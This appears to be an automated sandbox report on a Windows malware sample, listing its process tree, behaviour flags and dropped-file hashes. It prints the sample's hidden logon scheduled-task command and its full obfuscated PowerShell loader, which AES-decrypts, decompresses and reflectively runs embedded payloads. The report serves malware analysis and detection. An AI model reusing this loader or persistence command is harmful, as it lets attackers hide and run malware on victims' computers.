C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_528_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_528.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2388
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_528.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_528.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:588 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C13MerJf76R1DFIOGLoO10xEJRdtouLHDV1tgJ/4w50='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('See+TWm/7iu6WCsg7gNt1g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $snUzJ=New-Object System.IO.MemoryStream(,$param_var); $lTkza=New-Object System.IO.MemoryStream; $UKwbD=New-Object System.IO.Compression.GZipStream($snUzJ, [IO.Compression.CompressionMode]::Decompress); $UKwbD.CopyTo($lTkza); $UKwbD.Dispose(); $snUzJ.Dispose(); $lTkza.Dispose(); $lTkza.ToArray();}function execute_function($param_var,$param2_var){ $Oejaz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xiCYv=$Oejaz.EntryPoint; $xiCYv.Invoke($null, $param2_var);}$TAeoL = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_528.bat';$host.UI.RawUI.WindowTitle = $TAeoL;$Cruwh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($TAeoL).Split([Environment]::NewLine);foreach ($luPpZ in $Cruwh) { if ($luPpZ.StartsWith('afBvfWMFjSuStgRofcsT')) { $RHTbA=$luPpZ.Substring(20); break; }}$payloads_var=[string[]]$RHTbA.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:5024
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3360
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3552
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4748
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3348
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2920
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4768
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:1504
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:3604
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:1916
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
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Filesize
2KB
MD5005bc2ef5a9d890fb2297be6a36f01c2
SHA10c52adee1316c54b0bfdc510c0963196e7ebb430
SHA256342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
SHA512f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
422KB
MD5869440ffbff098f2805f2bc6ddd1a9f5
SHA185bac325a849358f534772363d8d3b5b7f7e91c7
SHA25618baa5efa951d971177b202c4e92aea450f1fd7ed13b5c629e3d68340fd0a4e9
SHA5125754c683da58fc952f804eff82cf4aedc4fdd2ea9e38a1c534ae4b894f58926ffdd13645ed781ad4fdc7318e705a03ec67edc47dc90a0619056618d18df3815a
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Filesize
124B
MD59ad54d1bec978edd7e1c1c5ed487e03d
SHA1e9f04ffa66aa04ab9fdcee03395149b3083a35c1
SHA2565b28419540da4a5eb9ae9723dd8455dff55d0107094919f2d18b78a2a52339a6
SHA512f4b17175a3bf5f4630cc7c5223dd32a68808d91979067af519692a2eb5b8e7bd4310f0f3b2af319c8f5ae8232748853240e5882dc3811fd88de2a099f24451a6
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4